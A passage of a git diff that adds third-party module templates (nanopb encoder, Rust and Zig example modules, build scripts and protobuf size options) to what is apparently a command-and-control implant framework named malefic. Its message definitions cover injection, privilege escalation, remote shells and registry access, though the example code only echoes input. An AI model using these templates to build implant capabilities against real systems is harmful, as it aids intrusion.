(size_t)bytes->size); +} + +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + size_t size = 0; + size_t max_size = (size_t)field->data_size; + const char *str = (const char*)field->pData; + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + max_size = (size_t)-1; + } + else + { + /* pb_dec_string() assumes string fields end with a null + * terminator when the type isn't PB_ATYPE_POINTER, so we + * shouldn't allow more than max-1 bytes to be written to + * allow space for the null terminator. + */ + if (max_size == 0) + PB_RETURN_ERROR(stream, "zero-length string"); + + max_size -= 1; + } + + + if (str == NULL) + { + size = 0; /* Treat null pointer as an empty string */ + } + else + { + const char *p = str; + + /* strnlen() is not always available, so just use a loop */ + while (size < max_size && *p != '\0') + { + size++; + p++; + } + + if (*p != '\0') + { + PB_RETURN_ERROR(stream, "unterminated string"); + } + } + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8(str)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return pb_encode_string(stream, (const pb_byte_t*)str, size); +} + +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.encode) + { + if (!callback->funcs.encode(stream, field, &callback->arg)) + return false; + } + } + + return pb_encode_submessage(stream, field->submsg_desc, field->pData); +} + +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + return pb_encode_string(stream, (const pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_encode_float_as_double(pb_ostream_t *stream, float value) +{ + union { float f; uint32_t i; } in; + uint_least8_t sign; + int exponent; + uint64_t mantissa; + + in.f = value; + + /* Decompose input value */ + sign = (uint_least8_t)((in.i >> 31) & 1); + exponent = (int)((in.i >> 23) & 0xFF) - 127; + mantissa = in.i & 0x7FFFFF; + + if (exponent == 128) + { + /* Special value (NaN etc.) */ + exponent = 1024; + } + else if (exponent == -127) + { + if (!mantissa) + { + /* Zero */ + exponent = -1023; + } + else + { + /* Denormalized */ + mantissa <<= 1; + while (!(mantissa & 0x800000)) + { + mantissa <<= 1; + exponent--; + } + mantissa &= 0x7FFFFF; + } + } + + /* Combine fields */ + mantissa <<= 29; + mantissa |= (uint64_t)(exponent + 1023) << 52; + mantissa |= (uint64_t)sign << 63; + + return pb_encode_fixed64(stream, &mantissa); +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h new file mode 100644 index 0000000..6dc089d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h @@ -0,0 +1,195 @@ +/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c. + * The main function is pb_encode. You also need an output stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_ENCODE_H_INCLUDED +#define PB_ENCODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom output streams. You will need to provide + * a callback function to write the bytes to your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause encoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer). + * 3) pb_write will update bytes_written after your callback runs. + * 4) Substreams will modify max_size and bytes_written. Don't use them + * to calculate any pointers. + */ +struct pb_ostream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + * Also, NULL pointer marks a 'sizing stream' that does not + * write anything. + */ + const int *callback; +#else + bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_ostream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Limit number of output bytes written. Can be set to SIZE_MAX. */ + size_t max_size; + + /* Number of bytes written so far. */ + size_t bytes_written; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +/*************************** + * Main encoding functions * + ***************************/ + +/* Encode a single protocol buffers message from C structure into a stream. + * Returns true on success, false on any failure. + * The actual struct pointed to by src_struct must match the description in fields. + * All required fields in the struct are assumed to have been filled in. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_ostream_t stream; + * + * msg.field1 = 42; + * stream = pb_ostream_from_buffer(buffer, sizeof(buffer)); + * pb_encode(&stream, MyMessage_fields, &msg); + */ +bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +/* Extended version of pb_encode, with several options to control the + * encoding process: + * + * PB_ENCODE_DELIMITED: Prepend the length of message as a varint. + * Corresponds to writeDelimitedTo() in Google's + * protobuf API. + * + * PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination. + * NOTE: This behaviour is not supported in most other + * protobuf implementations, so PB_ENCODE_DELIMITED + * is a better option for compatibility. + */ +#define PB_ENCODE_DELIMITED 0x02U +#define PB_ENCODE_NULLTERMINATED 0x04U +bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED) +#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED) + +/* Encode the message to get the size of the encoded data, but do not store + * the data. */ +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an output stream for writing into a memory buffer. + * The number of bytes written can be found in stream.bytes_written after + * encoding the message. + * + * Alternatively, you can use a custom stream that writes directly to e.g. + * a file or a network socket. + */ +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize); + +/* Pseudo-stream for measuring the size of a message without actually storing + * the encoded data. + * + * Example usage: + * MyMessage msg = {}; + * pb_ostream_t stream = PB_OSTREAM_SIZING; + * pb_encode(&stream, MyMessage_fields, &msg); + * printf("Message size is %d\n", stream.bytes_written); + */ +#ifndef PB_NO_ERRMSG +#define PB_OSTREAM_SIZING {0,0,0,0,0} +#else +#define PB_OSTREAM_SIZING {0,0,0,0} +#endif + +/* Function to write into a pb_ostream_t stream. You can use this if you need + * to append or prepend some custom headers to the message. + */ +bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Encode field header based on type and field number defined in the field + * structure. Call this from the callback before writing out field contents. */ +bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field); + +/* Encode field header by manually specifying wire type. You need to use this + * if you want to write out packed arrays from a callback field. */ +bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number); + +/* Encode an integer in the varint format. + * This works for bool, enum, int32, int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_varint(pb_ostream_t *stream, uint64_t value); +#else +bool pb_encode_varint(pb_ostream_t *stream, uint32_t value); +#endif + +/* Encode an integer in the zig-zagged svarint format. + * This works for sint32 and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_svarint(pb_ostream_t *stream, int64_t value); +#else +bool pb_encode_svarint(pb_ostream_t *stream, int32_t value); +#endif + +/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */ +bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size); + +/* Encode a fixed32, sfixed32 or float value. + * You need to pass a pointer to a 4-byte wide C variable. */ +bool pb_encode_fixed32(pb_ostream_t *stream, const void *value); + +#ifndef PB_WITHOUT_64BIT +/* Encode a fixed64, sfixed64 or double value. + * You need to pass a pointer to a 8-byte wide C variable. */ +bool pb_encode_fixed64(pb_ostream_t *stream, const void *value); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Encode a float value so that it appears like a double in the encoded + * message. */ +bool pb_encode_float_as_double(pb_ostream_t *stream, float value); +#endif + +/* Encode a submessage field. + * You need to pass the pb_field_t array and pointer to struct, just like + * with pb_encode(). This internally encodes the submessage twice, first to + * calculate message size and then to actually write it out. + */ +bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-rust/Cargo.toml b/malefic-3rd-template/malefic-3rd-rust/Cargo.toml new file mode 100644 index 0000000..5d86cea --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-rust/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "malefic-3rd-rust" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_3rd_rust" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } diff --git a/malefic-3rd-template/malefic-3rd-rust/README.md b/malefic-3rd-template/malefic-3rd-rust/README.md new file mode 100644 index 0000000..d1d0276 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-rust/README.md @@ -0,0 +1,61 @@ +# malefic-3rd-rust + +Rust 语言模å—,直接使用 `malefic-proto` å’Œ `malefic-trait` æä¾›çš„ trait å’Œå®ã€‚ + +## å‰ç½®è¦æ±‚ + +- Rust toolchain(与 workspace 一致) + +## 目录结构 + +``` +malefic-3rd-rust/ +├── Cargo.toml +└── src/ + └── lib.rs # 模å—实现 +``` + +## ç¼–å†™æ¨¡å— + +```rust +use async_trait::async_trait; +use malefic_trait::module_impl; +use malefic_proto::prelude::*; + +pub struct YourModule {} + +#[async_trait] +#[module_impl("your_module")] // 模å—å,用于注册和调度 +impl Module for YourModule {} + +#[async_trait] +impl ModuleImpl for YourModule { + async fn run( + &mut self, + id: u32, + receiver: &mut Input, + sender: &mut Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let response = Response { + output: format!("hello, input: {}", request.input), + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } +} + +pub fn register(map: &mut MaleficBundle) { + let module = YourModule::new(); + map.insert(::name().to_string(), Box::new(module)); +} +``` + +`#[module_impl("your_module")]` å®ä¼šè‡ªåŠ¨ç”Ÿæˆ `Module` trait çš„ `name()` / `new()` / `new_instance()` 方法。 + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,rust_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-rust/src/lib.rs b/malefic-3rd-template/malefic-3rd-rust/src/lib.rs new file mode 100644 index 0000000..dfa976c --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-rust/src/lib.rs @@ -0,0 +1,20 @@ +use malefic_3rd_ffi::{RtModule, RtChannel, RtResult, Body, Response}; + +pub struct RustModule; + +impl RtModule for RustModule { + fn name() -> &'static str { "rust_module" } + fn new() -> Self { Self } + + fn run(&mut self, _task_id: u32, ch: &RtChannel) -> RtResult { + match ch.recv() { + Ok(Body::Request(_)) => {} + Ok(_) => return RtResult::Error("expected Body::Request".into()), + Err(e) => return RtResult::Error(e.to_string()), + } + RtResult::Done(Body::Response(Response { + output: "this is rust module".to_string(), + ..Default::default() + })) + } +} diff --git a/malefic-3rd-template/malefic-3rd-zig/Cargo.toml b/malefic-3rd-template/malefic-3rd-zig/Cargo.toml new file mode 100644 index 0000000..c4ec9a7 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-3rd-zig" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_zig" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } + +[build-dependencies] +cc = "1" diff --git a/malefic-3rd-template/malefic-3rd-zig/README.md b/malefic-3rd-template/malefic-3rd-zig/README.md new file mode 100644 index 0000000..217f84d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/README.md @@ -0,0 +1,102 @@ +# malefic-3rd-zig + +Zig 语言模å—,通过 `@cImport` 直接导入 nanopb C 头文件,无需手写绑定。 + +## å‰ç½®è¦æ±‚ + +- [Zig](https://ziglang.org/download/) 0.13+(需在 PATH 中) + +## 目录结构 + +``` +malefic-3rd-zig/ +├── Cargo.toml +├── build.rs # cc 编译 nanopb + zig build-obj +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 + └── zig/ + ├── nanopb/ # nanopb æºç  + ├── malefic/ # protobuf ç”Ÿæˆæ–‡ä»¶ (module.pb.c/h) + └── example/ + └── example.zig # ç¤ºä¾‹æ¨¡å— +``` + +## 构建æµç¨‹ + +`build.rs` 自动完æˆä»¥ä¸‹æ­¥éª¤ï¼š + +1. `cc` crate 编译 nanopb core + `module.pb.c` → 陿€åº“ +2. `zig build-obj` 编译 `.zig` → `.obj`(带 `-lc` 链接 libc) +3. `cc` crate å°† zig object åŒ…è£…ä¸ºé™æ€åº“,确ä¿ç¬¦å·è·¨ crate ä¼ æ’­ + +## ç¼–å†™æ¨¡å— + +Zig 通过 `@cImport` 直接使用 nanopb çš„ C 类型和函数: + +```zig +const std = @import("std"); +const c = @cImport({ + @cDefine("PB_FIELD_32BIT", {}); + @cInclude("pb_encode.h"); + @cInclude("pb_decode.h"); + @cInclude("module.pb.h"); +}); + +const MODULE_NAME: [*:0]const u8 = "your_module"; + +export fn ZigModuleName() callconv(.C) [*:0]const u8 { + return MODULE_NAME; +} + +export fn ZigModuleHandle( + task_id: u32, + req_data: [*]const u8, + req_len: c_int, + resp_data: *[*]u8, + resp_len: *c_int, +) callconv(.C) c_int { + _ = task_id; + + // è§£ç  Request + var request: c.malefic_Request = std.mem.zeroes(c.malefic_Request); + var istream = c.pb_istream_from_buffer(req_data, @intCast(@as(usize, @intCast(req_len)))); + if (!c.pb_decode(&istream, c.malefic_Request_fields, &request)) + return -1; + + // 构造 Response + var response: c.malefic_Response = std.mem.zeroes(c.malefic_Response); + // ... å¡«å…… response.output ... + + // ç¼–ç  Response + var tmp_buf: [4096]u8 = undefined; + var ostream = c.pb_ostream_from_buffer(&tmp_buf, tmp_buf.len); + if (!c.pb_encode(&ostream, c.malefic_Response_fields, &response)) + return -1; + + // malloc 输出 buffer(Rust ä¾§ free) + const encoded_len = ostream.bytes_written; + const out_ptr: ?[*]u8 = @ptrCast(std.c.malloc(encoded_len) orelse return -1); + @memcpy(out_ptr.?[0..encoded_len], tmp_buf[0..encoded_len]); + resp_data.* = out_ptr.?; + resp_len.* = @intCast(encoded_len); + return 0; +} +``` + +### è¦ç‚¹ + +- 使用 `std.mem.zeroes()` é›¶åˆå§‹åŒ– nanopb 结构体 +- 使用 `std.c.malloc` / `std.c.free` 分é…内存(与 C 兼容) +- `@cImport` 自动将 C 类型映射为 Zig 类型,`pb_decode` 返回 `bool` +- `malefic_Request_fields` å·²ç»æ˜¯æŒ‡é’ˆï¼Œä¸éœ€è¦å–åœ°å€ + +### 添加新 zig 文件 + +在 `build.rs` 中修改 zig ç¼–è¯‘å‘½ä»¤çš„æºæ–‡ä»¶è·¯å¾„å³å¯ã€‚ + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,zig_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-zig/build.rs b/malefic-3rd-template/malefic-3rd-zig/build.rs new file mode 100644 index 0000000..a085e20 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/build.rs @@ -0,0 +1,54 @@ +use std::env; +use std::path::PathBuf; +use std::process::Command; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let zig_src_dir = manifest_dir.join("src").join("zig"); + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + + let nanopb_include = zig_src_dir.join("nanopb"); + let malefic_include = zig_src_dir.join("malefic"); + + // 1. Compile nanopb core + module.pb.c via cc crate + cc::Build::new() + .file(zig_src_dir.join("nanopb").join("pb_encode.c")) + .file(zig_src_dir.join("nanopb").join("pb_decode.c")) + .file(zig_src_dir.join("nanopb").join("pb_common.c")) + .file(zig_src_dir.join("malefic").join("module.pb.c")) + .include(&nanopb_include) + .include(&malefic_include) + .define("PB_FIELD_32BIT", None) + .warnings(false) + .compile("malefic_zig_nanopb"); + + // 2. Compile Zig example module → object file + let zig_source = zig_src_dir.join("example").join("example.zig"); + let zig_obj = out_dir.join("example_zig.obj"); + + let status = Command::new("zig") + .args([ + "build-obj", + "-O", "ReleaseSafe", + "-lc", + "-DPB_FIELD_32BIT", + ]) + .arg(format!("-I{}", nanopb_include.display())) + .arg(format!("-I{}", malefic_include.display())) + .arg(format!("-femit-bin={}", zig_obj.display())) + .arg(zig_source.to_str().unwrap()) + .status() + .expect("Failed to run zig compiler. Is zig installed?"); + + if !status.success() { + panic!("Zig compilation failed"); + } + + // 3. Wrap zig object into a static library via cc crate + // This ensures symbols propagate correctly across crate boundaries. + cc::Build::new() + .object(&zig_obj) + .compile("malefic_zig_example"); + + println!("cargo:rerun-if-changed={}", zig_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/lib.rs b/malefic-3rd-template/malefic-3rd-zig/src/lib.rs new file mode 100644 index 0000000..2bdccd7 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/lib.rs @@ -0,0 +1,30 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn ZigModuleName() -> *const c_char; + fn ZigModuleHandle( + task_id: c_uint, + req_data: *const c_char, + req_len: c_int, + resp_data: *mut *mut c_char, + resp_len: *mut c_int, + ) -> c_int; +} + +pub struct ZigModule { + name: String, +} + +impl RtModule for ZigModule { + fn name() -> &'static str { "example_zig" } + + fn new() -> Self { + let name = unsafe { ffi_module_name(ZigModuleName, false) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, ZigModuleHandle, "ZigModuleHandle") + } +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig b/malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig new file mode 100644 index 0000000..f4b7c70 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig @@ -0,0 +1,60 @@ +const std = @import("std"); +const c = @cImport({ + @cDefine("PB_FIELD_32BIT", {}); + @cInclude("pb_encode.h"); + @cInclude("pb_decode.h"); + @cInclude("module.pb.h"); +}); + +const MODULE_NAME: [*:0]const u8 = "example_zig"; + +export fn ZigModuleName() callconv(.C) [*:0]const u8 { + return MODULE_NAME; +} + +export fn ZigModuleHandle( + task_id: u32, + req_data: [*]const u8, + req_len: c_int, + resp_data: *[*]u8, + resp_len: *c_int, +) callconv(.C) c_int { + _ = task_id; + + // Decode Request + var request: c.malefic_Request = std.mem.zeroes(c.malefic_Request); + var istream = c.pb_istream_from_buffer(req_data, @intCast(@as(usize, @intCast(req_len)))); + if (!c.pb_decode(&istream, c.malefic_Request_fields, &request)) { + return -1; + } + + // Build Response + var response: c.malefic_Response = std.mem.zeroes(c.malefic_Response); + + const prefix = "hello from zig module, input: "; + const input_slice = std.mem.sliceTo(&request.input, 0); + const total_len = prefix.len + input_slice.len; + + if (total_len < response.output.len) { + @memcpy(response.output[0..prefix.len], prefix); + @memcpy(response.output[prefix.len .. prefix.len + input_slice.len], input_slice); + response.output[total_len] = 0; + } else { + return -1; + } + + // Encode Response + var tmp_buf: [4096]u8 = undefined; + var ostream = c.pb_ostream_from_buffer(&tmp_buf, tmp_buf.len); + if (!c.pb_encode(&ostream, c.malefic_Response_fields, &response)) { + return -1; + } + + const encoded_len = ostream.bytes_written; + const out_ptr: ?[*]u8 = @ptrCast(std.c.malloc(encoded_len) orelse return -1); + @memcpy(out_ptr.?[0..encoded_len], tmp_buf[0..encoded_len]); + resp_data.* = out_ptr.?; + resp_len.* = @intCast(encoded_len); + + return 0; +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options new file mode 100644 index 0000000..5334a93 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options @@ -0,0 +1,229 @@ +# nanopb options for module.proto (full) +# Controls max sizes for static allocation (no malloc needed) +# map<> fields use callbacks by default in nanopb — no options needed for them. + +# --- Core messages used by C module handler --- +malefic.Request.name max_size:256 +malefic.Request.input max_size:256 +malefic.Request.args max_size:256, max_count:32 +malefic.Request.bin max_size:4096 + +malefic.Response.output max_size:4096 +malefic.Response.error max_size:256 +malefic.Response.array max_size:256, max_count:32 + +# --- Registration / System --- +malefic.Register.name max_size:256 +malefic.Register.proxy max_size:256 +malefic.Register.module max_size:256, max_count:64 +malefic.Register.addons max_count:32 + +malefic.Secure.key max_size:256 +malefic.Secure.type max_size:64 +malefic.Secure.public_key max_size:256 + +malefic.KeyExchangeRequest.public_key max_size:256 +malefic.KeyExchangeRequest.signature max_size:256 +malefic.KeyExchangeRequest.nonce max_size:64 +malefic.KeyExchangeResponse.public_key max_size:256 + +malefic.Init.data max_size:4096 + +malefic.SysInfo.filepath max_size:256 +malefic.SysInfo.workdir max_size:256 + +malefic.Os.name max_size:128 +malefic.Os.version max_size:128 +malefic.Os.release max_size:128 +malefic.Os.arch max_size:32 +malefic.Os.username max_size:128 +malefic.Os.hostname max_size:128 +malefic.Os.locale max_size:64 +malefic.Os.clr_version max_size:64, max_count:8 + +malefic.Process.name max_size:128 +malefic.Process.owner max_size:128 +malefic.Process.arch max_size:32 +malefic.Process.path max_size:256 +malefic.Process.args max_size:256 +malefic.Process.uid max_size:64 + +malefic.Timer.expression max_size:128 + +# --- File --- +malefic.FileInfo.Name max_size:256 +malefic.FileInfo.Link max_size:256 + +malefic.LsResponse.Path max_size:256 +malefic.LsResponse.Files max_count:128 + +malefic.DriveInfo.path max_size:64 +malefic.DriveInfo.drive_type max_size:64 +malefic.DriveInfo.file_system max_size:32 +malefic.EnumDriversResponse.drives max_count:16 + +# --- Process --- +malefic.SacrificeProcess.argue max_size:256 +malefic.PsResponse.processes max_count:512 + +# --- Exec --- +malefic.ExecRequest.path max_size:256 +malefic.ExecRequest.args max_size:256, max_count:32 +malefic.ExecResponse.stdout max_size:4096 +malefic.ExecResponse.stderr max_size:4096 + +malefic.BinaryResponse.data max_size:4096 +malefic.BinaryResponse.message max_size:4096 +malefic.BinaryResponse.err max_size:256 + +# --- Modules / Addons --- +malefic.Modules.modules max_size:256, max_count:64 +malefic.Addons.addons max_count:32 +malefic.Addon.name max_size:128 +malefic.Addon.type max_size:64 +malefic.Addon.depend max_size:128 + +malefic.LoadModule.bundle max_size:256 +malefic.LoadModule.bin max_size:4096 +malefic.LoadAddon.name max_size:128 +malefic.LoadAddon.type max_size:64 +malefic.LoadAddon.depend max_size:128 +malefic.LoadAddon.bin max_size:4096 + +malefic.ExecuteAddon.addon max_size:128 + +malefic.ExecuteBinary.name max_size:128 +malefic.ExecuteBinary.bin max_size:4096 +malefic.ExecuteBinary.type max_size:64 +malefic.ExecuteBinary.process_name max_size:128 +malefic.ExecuteBinary.args max_size:256, max_count:32 +malefic.ExecuteBinary.entry_point max_size:128 +malefic.ExecuteBinary.data max_size:4096 +malefic.ExecuteBinary.path max_size:256 +malefic.ExecuteBinary.context max_size:256 + +malefic.ExecuteCommand.command max_size:256 + +# --- Upload / Download --- +malefic.UploadRequest.name max_size:256 +malefic.UploadRequest.target max_size:256 +malefic.UploadRequest.data max_size:4096 + +malefic.DownloadRequest.path max_size:256 +malefic.DownloadRequest.name max_size:256 +malefic.DownloadResponse.checksum max_size:128 +malefic.DownloadResponse.content max_size:4096 + +# --- Network --- +malefic.NetInterface.name max_size:128 +malefic.NetInterface.mac max_size:32 +malefic.NetInterface.ip_addresses max_size:64, max_count:16 +malefic.IfconfigResponse.net_interfaces max_count:32 + +malefic.SockTabEntry.local_addr max_size:64 +malefic.SockTabEntry.remote_addr max_size:64 +malefic.SockTabEntry.skState max_size:32 +malefic.SockTabEntry.pid max_size:16 +malefic.SockTabEntry.protocol max_size:16 +malefic.NetstatResponse.socks max_count:256 + +malefic.CurlRequest.url max_size:512 +malefic.CurlRequest.method max_size:16 +malefic.CurlRequest.body max_size:4096 +malefic.CurlRequest.hostname max_size:256 + +malefic.ChownRequest.path max_size:256 +malefic.ChownRequest.uid max_size:64 +malefic.ChownRequest.gid max_size:64 + +# --- Block / ACK --- +malefic.Block.content max_size:4096 + +# --- Registry --- +malefic.RegistryRequest.type max_size:64 +malefic.Registry.hive max_size:64 +malefic.Registry.path max_size:256 +malefic.Registry.key max_size:256 +malefic.RegistryWriteRequest.hive max_size:64 +malefic.RegistryWriteRequest.path max_size:256 +malefic.RegistryWriteRequest.key max_size:256 +malefic.RegistryWriteRequest.string_value max_size:256 +malefic.RegistryWriteRequest.byte_value max_size:4096 + +# --- Task Schedule --- +malefic.TaskScheduleRequest.type max_size:64 +malefic.TaskSchedule.name max_size:256 +malefic.TaskSchedule.path max_size:256 +malefic.TaskSchedule.executable_path max_size:256 +malefic.TaskSchedule.start_boundary max_size:64 +malefic.TaskSchedule.description max_size:256 +malefic.TaskSchedule.last_run_time max_size:64 +malefic.TaskSchedule.next_run_time max_size:64 +malefic.TaskSchedulesResponse.schedules max_count:64 + +# --- Service --- +malefic.ServiceRequest.type max_size:64 +malefic.ServiceConfig.name max_size:256 +malefic.ServiceConfig.display_name max_size:256 +malefic.ServiceConfig.executable_path max_size:256 +malefic.ServiceConfig.account_name max_size:128 +malefic.ServicesResponse.services max_count:128 + +# --- WMI --- +malefic.WmiQueryRequest.namespace max_size:256 +malefic.WmiQueryRequest.args max_size:256, max_count:16 +malefic.WmiMethodRequest.namespace max_size:256 +malefic.WmiMethodRequest.class_name max_size:128 +malefic.WmiMethodRequest.method_name max_size:128 + +# --- RunAs --- +malefic.RunAsRequest.username max_size:128 +malefic.RunAsRequest.domain max_size:128 +malefic.RunAsRequest.password max_size:256 +malefic.RunAsRequest.program max_size:256 +malefic.RunAsRequest.args max_size:256 + +# --- Inject / GetSystem --- +malefic.GetSystem.bin max_size:4096 +malefic.Inject.bin max_size:4096 + +# --- Pipe --- +malefic.Pipe.name max_size:128 +malefic.Pipe.target max_size:128 +malefic.Pipe.data max_size:4096 +malefic.PipeRequest.type max_size:64 + +# --- Switch --- +malefic.Switch.urls max_size:256, max_count:16 + +# --- Task --- +malefic.TaskCtrl.op max_size:64 +malefic.TaskListResponse.tasks max_count:128 + +# --- FFmpeg --- +malefic.FFmpegRequest.action max_size:64 +malefic.FFmpegRequest.device_name max_size:128 +malefic.FFmpegRequest.output_format max_size:32 +malefic.FFmpegRequest.output_path max_size:256 +malefic.FFmpegRequest.time max_size:32 + +# --- PTY --- +malefic.PtyRequest.type max_size:32 +malefic.PtyRequest.session_id max_size:64 +malefic.PtyRequest.shell max_size:128 +malefic.PtyRequest.input_data max_size:4096 +malefic.PtyRequest.input_text max_size:4096 + +malefic.PtyResponse.session_id max_size:64 +malefic.PtyResponse.output_data max_size:4096 +malefic.PtyResponse.output_text max_size:4096 +malefic.PtyResponse.error max_size:256 +malefic.PtyResponse.active_sessions max_size:64, max_count:32 + +# --- CommonBody --- +malefic.CommonBody.name max_size:256 +malefic.CommonBody.u32_array max_count:32 +malefic.CommonBody.u64_array max_count:32 +malefic.CommonBody.bool_array max_count:32 +malefic.CommonBody.string_array max_size:256, max_count:32 +malefic.CommonBody.bytes_array max_size:4096, max_count:16 diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c new file mode 100644 index 0000000..f471045 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c @@ -0,0 +1,249 @@ +/* Automatically generated nanopb constant definitions */ +/* Generated by nanopb-0.4.9.1 */ + +#include "module.pb.h" +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + + +/* The following messages exceed 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody */ + +/* The PB_FIELD_32BIT compilation option must be defined to support messages that exceed 64 kB in size. */ +#ifndef PB_FIELD_32BIT +#error Enable PB_FIELD_32BIT to support messages exceeding 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody +#endif +PB_BIND(malefic_Ping, malefic_Ping, AUTO) + + +PB_BIND(malefic_Register, malefic_Register, 4) + + +PB_BIND(malefic_Secure, malefic_Secure, 2) + + +PB_BIND(malefic_KeyExchangeRequest, malefic_KeyExchangeRequest, 2) + + +PB_BIND(malefic_KeyExchangeResponse, malefic_KeyExchangeResponse, 2) + + +PB_BIND(malefic_Init, malefic_Init, 4) + + +PB_BIND(malefic_SysInfo, malefic_SysInfo, 2) + + +PB_BIND(malefic_Suicide, malefic_Suicide, AUTO) + + +PB_BIND(malefic_Request, malefic_Request, 4) + + +PB_BIND(malefic_Request_ParamsEntry, malefic_Request_ParamsEntry, AUTO) + + +PB_BIND(malefic_Response, 